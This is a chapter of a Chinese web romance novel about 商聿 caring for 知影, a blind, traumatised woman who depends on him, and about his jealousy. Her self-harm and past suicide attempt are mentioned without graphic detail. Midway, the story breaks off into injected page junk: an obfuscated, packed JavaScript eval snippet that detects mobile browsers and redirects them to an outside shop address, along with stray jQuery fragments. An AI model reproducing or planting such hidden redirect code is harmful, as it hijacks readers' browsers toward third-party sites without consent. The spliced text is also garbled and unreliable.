13. 醋意

作品:《小影[隐婚]

    商聿今晚肯定是留宿在这边的。


    至少知影对他极度的依赖消失之前,他大概都会在这边过夜,晚上和知影一起睡。


    至于知影对他的依赖什么时候会消失,谁也不知道。


    不知道的不止如此,知影现在有时会有一些突如其来的情绪,还会做出一些别人看不懂的行为。


    商聿陪着她的那一周里,知影有天忽然在谁也没发现的情况下咬了自己的胳膊。


    商聿是在晚上她睡着后发现的那个牙印。


    她有时会要搂着他的脖颈睡,那天晚上她抬手时睡衣袖子往上缩了些,于是那个牙印露了出来。


    她什么时候咬的自己,为什么要咬自己,谁也不知道。


    第二天商聿也没问出原因,只能苦口婆心的抓着她叮嘱,重复了无数遍,叫她以后不许咬自己,不可以伤害自己。


    至于小姑娘听没有听进去就不得而知了。


    知影自杀后突如其来的转变打乱了商聿想为她治眼睛的节奏,她现在的心理问题同样迫在眉睫。


    几番周转下,他联系上了近期正在海上休假的Eliana,在心理创伤领域这位是绝对权威的专家,除了咨询过一些情况,还说动了对方飞来国内。


    晚餐结束后,定向行走训练师上门来陪知影走路。


    商聿这次回国再见到她时她一直是长期坐轮椅的状态,身体机能已经退化了很多,医生说她如果再坐两年轮椅就站不起来了。


    这几个月下来,现在知影已经恢复了正常走路的水平,但商聿没有叫停,依旧花大价钱继续请着训练师,哪怕只是走走路也好,毕竟这算是她目前唯一的锻炼身体的项目。


    知影走路的这个空档,商聿能在客厅沙发上快速的处理一些工作。


    除了国内集团这边的事务,还有研究所那边的,也有他自己公司的。


    回国以来他推拒得最多的就是饭局。


    他向来不喜欢应酬交际,连集团里的公事都只出席非他出面不可的,更多的都交给了集团里的其他高管出面。


    以至于圈内都知道商家太子爷回国了,却很少有谁能见着人。


    商聿坐在客厅办公的这段时间,其实知影并不会妨碍他什么,只要在他身边,她都很平静。


    或者只要不是太长时间的注意力不在她身上,她就不会闹脾气。


    所以就算他的工作没处理完一点,跟她讲道理说等他一会儿,她会乖乖的坐在旁边。


    最多,最多就是有点不耐烦了后,她会贴过来抱住他的一条手臂,小朋友似的把脸颊枕靠在上面,然后自己发呆。


    就算是干扰,商聿的处理方式是他可以只用一只手使用电脑。


    另一条手臂就一直给知影抱着,还会安抚的摸摸她脑袋,告诉她马上就忙完了。


    但他不会工作太久,因为知影有固定的睡觉时间,他不睡她也不会睡的。


    到了点,商聿就让容姨带她去洗漱,与此同时,这时候他会去客卧洗漱。


    他的作息是跟着知影的作息走的。


    但商聿不使用知影的浴室,也不使用她的衣帽间。


    这一点,容姨很不懂。


    但是今晚,一些与往常不同的情况出现了。


    商聿在客卧洗完澡后,打开卫浴门,就看到知影在房间里。


    小姑娘坐在床边,脸颊粉润,长发披肩,身上穿着淡黄色的丝绸睡衣睡裤,明显已经洗过澡。


    已经入了秋,这个季节本应该换棉质睡衣的,而且,知影的衣柜里以前全都是各种漂亮的睡裙。


    只是小姑娘半夜睡觉其实不太安生,尤其黏在商聿怀里睡觉的时候。


    大概男人的体温太过炙热滚烫,小姑娘不太受得住,但又不愿意躲开,所以夜里总是乱动乱蹭,于是身上的睡裙总是走光。


    商聿便叫容姨把她的睡裙全都换成了睡衣睡裤。


    同样,他在这边穿的也全是最保守的睡衣,也会尽量用枕头做阻隔。


    但作用微乎其微,很多时候还是阻挡不住生理性的反应,唯一庆幸的只是从没有让知影察觉,没有吓到她。


    门打开的一瞬间,发现知影在房间的同时,商聿目睹了知影把他放在床头柜上充电的手机摔出去砸到墙上的整个过程。


    动静不小,手机屏幕直接摔碎,但砸完手机的知影却没被吓到,反而十分冷静,眼睛都没眨一下。


    商聿却变了脸色,扔了毛巾疾步走到她身边蹲下检查,“有没有受伤?”


    小姑娘踩在棉拖鞋里的脚没穿袜子,露着一截细白脚踝,很容易被屏幕的碎玻璃溅起来划到。


    商聿将她两只脚翻来覆去检查了一遍,没有受伤,刚放下心来,一抬头却发现她下巴处有一道细微的血痕,碎玻璃就掉在她的衣领上。


    商聿蹙了眉,喊容姨拿医药箱。


    一直守在外面的容姨立马应了声。


    “怎么了?”商聿声音放得很温和,低声问她。


    知影却闭上眼轻轻蹙了蹙眉。


    他第一次在她脸上看到烦躁的情绪。


    商聿回头看了眼摔在墙角的手机。


    手机勉强还能用,捡起来后,商聿看到手机里有一通最近的通话。


    堂婶打来的,通话显示一分多钟。


    商聿从手机里抬起头,回头看向坐在床边的知影,明白了她为什么突然发脾气。


    一分多钟的通话证明知影摸索着接了那个电话,又那么恰好的,听到的是思睿母亲的声音。


    至于更深的原因…商聿阻断了思绪。


    但握着手机的力道还是收紧了几分。


    容姨拿来医药箱后,旁观着商聿给知影处理伤口。


    她也不知道,为什么知小姐今晚洗完澡后不愿意像往常一样上床等着商先生,而是非要来客卧。


    容姨只好送她过来。


    过来后,见小姑娘只是乖乖的坐在床边,容姨渐渐反应过来,知小姐是要来这里等商先生。


    难怪她隐隐感觉,知小姐今晚洗澡有点烦躁,身上的泡沫还没弄干净就想从浴缸里起来了。


    她有点怀疑,虽然商先生为他下午的迟到跟知小姐道了歉,但知小姐可能还是不太信任,所以想却寸步不离的守着商先生。


    见她那么乖,容姨就放心的先出了房间,只在门外守着。


    毕竟客卧内的浴室里正水流声哗啦哗啦的响,商先生在洗澡,她在着不太方便。


    但没想到,后来会变成这样。


    好在虽然商先生身上的气压很低,脸色也很冰冷,却没有怪她没照顾好知小姐。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310567|198815||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    处理完伤口后,商聿用拇指细细抚了抚止血贴的边沿,开口对知影说话的声音很温柔,“回去睡觉了好不好?”


    他对她摔手机的事一字不提。


    知影点点头。


    她其实是有点反常的,她太过平静了。


    如果不是乖乖的让他牵着,到了床上也很乖的窝进他怀里,商聿以为她回到了最初封闭的状态。


    知影蜷缩成一小团的窝在他怀里,商聿抱着她,一直看着知影在他怀里慢慢睡着。


    她睡熟后,商聿目光落到她下巴处的止血贴,盯着看了很久才闭眼抱着她入睡。


    商聿忍不住去想,知影对他的依赖,是不是把他当作了谁。


    也忍不住去想,今晚表露出烦躁的那一刻,她脑子里在想谁?


    -


    早上七点,司机在来东直门的路上接到电话。


    商先生说不用过来接他了。


    很快,董秘办的李秘书也接到了太子爷的电话。


    太子爷说今早的会议他改为线上参与。


    商聿打这两通电话时,怀里正抱着刚哄好没再哭的知影。


    今早知影闹着不给他出门上班。


    明明昨天早上还很乖的人,今天却变脸了,一大早,他耐心的跟她沟通了好几次后她才松开他让他下床。


    只是当他洗漱好准备出门时,知影鞋子也没穿的从卧室里跑出来了,一路跌跌撞撞的跑向玄关。


    西装革履的商聿已经换好皮鞋,拎着公文包抬手握在门把上,他听到动静回头,跑得飞快的知影已经近在眼前。


    男人下意识蹙眉,因为知影看不见,忙抬手接住她。


    不等商聿开口,光着脚只到他肩膀高的知影像个小孩似的忙紧紧抱住他的手臂不给他走。


    他再开口时她就哭。


    商聿抱着知影坐在玄关凳子上哄她,然后打了电话,最后连大门都没出。


    后来他又抱着知影在客厅开完了早上的两场会议。


    会议到第二场时,知影已经在他怀里睡着了,但小手一直攒着他的一颗西装外套纽扣。


    商聿让容姨拿来棉袜给她穿上,还有她的小绒毯也拿来给她盖着。


    第二场会议他只做旁听,所以时不时就低头注意一下怀里的知影。


    她那么固执,粘人,爱哭,就算对他的依赖只是把他当作了谁,但他还是因为被她需要被她依赖而产生了幸福感。


    但他很清楚,这幸福是偷来的,不属于他。


    可能很短暂,所以很珍贵。


    商聿的注意力不再放在会议上,垂眸看着怀里的小姑娘,目光再一次落在她的下巴,那个被止血贴贴着的地方。


    这伤口让他觉得刺目,手指不自觉地轻轻抚了上去。


    卑劣的念头从脑海里冒出来。


    如果不接受心理治疗,知影是不是就会像现在这样一直依赖他?


    就算她心里有人,但永远被她需要的是他。


    这样的念头像毒液一样疯狂在身体里滋长繁殖,又像罂/粟一样充满欲罢不能的诱惑力,麻痹人的理智,引人沉沦。


    但最终,商聿收回手指,闭了闭眼。


    既唾弃自己冒出这么贪婪又卑鄙的想法。


    更唾弃自己这无名的醋意。